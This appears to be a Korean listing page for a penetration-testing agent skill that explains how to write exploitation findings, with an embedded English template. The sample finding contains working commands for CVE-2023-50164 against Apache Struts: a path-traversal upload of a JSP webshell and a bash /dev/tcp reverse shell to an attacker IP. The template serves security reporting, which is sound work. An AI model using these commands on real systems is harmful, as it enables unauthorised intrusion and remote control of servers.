exploit-reporting
하는 일
이 안내서는 독자가 재현하고 영향을 이해할 수 있도록 검증된 보안 문제를 기록하는 방법을 설명합니다. 팀이나 고객을 위한 보고서를 쓰는 보안 테스터를 위한 가이드입니다.
사용하는 경우
- ✓보안 테스트가 익스플로잇을 확인해서 그것을 문서로 작성해야 할 때.
- ✓확인된 각 문제에 대해 CVSS 점수와 명확한 심각도가 필요할 때.
- ✓팀이 얻은 접근과 발견된 탐지 공백의 기록을 원하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 서버 한 대에서 원격 코드 실행 문제를 확인했습니다. 단계, 점수, 증거와 함께 발견 사항으로 작성해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 제목, 심각도, 점수, 영향받는 구성 요소, 재현 단계를 담은 발견 템플릿을 쓰고, 받은 증거를 연결합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Exploitation Reporting Knowledge Base
Exploitation findings are only operationally useful when documented with enough precision that anyone can reproduce the access, understand the impact, and trace the full attack path. This skill defines how to structure, score, and persist exploitation findings within the Decepticon engagement directory.
1. Exploitation Finding Template
Every verified successful exploitation MUST produce a finding Markdown file in the active engagement workspace's findings/ directory named FIND-{NNN}.md. The file name and id field in YAML frontmatter (FIND-001, FIND-002, ...) are the canonical cross-reference — determine the next ID by counting existing files. Do not create placeholder finding files.
---
id: FIND-001
severity: CRITICAL
cvss_score: 9.3
cvss_vector: "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
cwe: CWE-78
mitre: T1190
affected_target: 10.0.1.50
affected_component: "Apache Struts 2.5.30 — /struts2/upload.action"
confidence: confirmed
objective_id: <server-issued-objective-id>
phase: initial-access
agent: exploit
detected: false
remediation_priority: immediate
discovered_at: "2026-04-06T14:32:00Z"
---
# [CRITICAL] Remote Code Execution via Apache Struts CVE-2023-50164 on 10.0.1.50:8080 — Root Shell Achieved
## Description
Apache Struts 2.5.30 is vulnerable to CVE-2023-50164, a file upload path traversal flaw in the `FileUploadInterceptor`. An unauthenticated attacker can manipulate the `Upload-Dir` parameter during a multipart upload request to traverse outside the intended upload directory and write an arbitrary file — including a JSP webshell — to the web root. This achieves unauthenticated remote code execution as the Tomcat service account.
The vulnerability exists because `FileUploadInterceptor` does not canonicalize the destination path before writing, allowing `../` sequences to escape the configured upload directory.
## Steps to Reproduce
```bash
# 1. Confirm the target is running Struts (identified during recon)
curl -s -I http://10.0.1.50:8080/struts2/ | grep -i server
# 2. Generate the malicious multipart upload request
# Upload a JSP webshell to /struts2/../shell.jsp (resolves to web root)
curl -s -X POST http://10.0.1.50:8080/struts2/upload.action \
-F "Upload=@/tmp/shell.jsp;type=image/jpeg" \
-F "Upload-Dir=../." \
-o /workspace/target/findings/evidence/FIND-001_upload_response.txt
# 3. Confirm shell placement
curl -s http://10.0.1.50:8080/shell.jsp?cmd=id \
-o /workspace/target/findings/evidence/FIND-001_rce_confirm.txt
# 4. Upgrade to reverse shell
curl -s "http://10.0.1.50:8080/shell.jsp?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261'" &
nc -lvnp 4444
Proof of Exploitation
# whoami output on compromised host
tomcat
# id output
uid=52(tomcat) gid=52(tomcat) groups=52(tomcat)
# hostname
app01.internal.example.com
# uname -a
Linux app01.internal.example.com 5.15.0-1034-aws #38-Ubuntu SMP x86_64 GNU/Linux
# ip addr (abridged)
inet 10.0.1.50/24 brd 10.0.1.255 scope global eth0
inet 10.0.2.1/24 brd 10.0.2.255 scope global eth1
Access Achieved
| Target | Access Level | Method | Credentials Used | Persistence Status |
|---|---|---|---|---|
| 10.0.1.50:8080 (app01) | Remote Code Execution (tomcat) | CVE-2023-50164 — JSP webshell | None (unauthenticated) | Webshell at /shell.jsp |
Impact
An unauthenticated attacker has OS-level command execution as the tomcat service account on app01.internal.example.com. The host has dual-network interfaces (10.0.1.0/24 external-facing + 10.0.2.0/24 internal), making it a pivot point into the internal network segment. From this position an attacker can:
- Enumerate and access internal services on 10.0.2.0/24 not reachable externally
- Read application configuration files containing database credentials
- Install a persistent reverse shell or C2 implant
- Escalate privileges via local kernel or sudo misconfigurations
Evidence
| Type | Path | Description |
|---|---|---|
| HTTP response | findings/evidence/FIND-001_upload_response.txt | Server response confirming file write |
| RCE confirmation | findings/evidence/FIND-001_rce_confirm.txt | Output of id command via webshell |
| Shell session log | findings/evidence/FIND-001_shell_session.txt | Full interactive shell transcript |
| Payload | findings/evidence/FIND-001_shell.jsp | JSP webshell payload used |
자주 묻는 질문
CVSS란 무엇인가요?
공격과 영향 요소에 따라 보안 문제의 심각도를 나타내는 표준 점수입니다.
검증되지 않은 결과도 발견 사항으로 써야 하나요?
아닙니다. 안내서는 각 발견 사항이 검증된 익스플로잇에서 나와야 하며, 자리 표시용 파일을 만들면 안 된다고 설명합니다.
탐지 공백을 왜 기록하나요?
모니터링에 잡히지 않은 행동이 무엇인지 팀이 알 수 있게 해 준다고 설명합니다.
상세 정보
작성자의 원본 설명
Exploitation finding documentation — initial access reports, exploit chain documentation, CVSS v4.0 scoring, shell/credential inventory, detection gap analysis.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14042
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.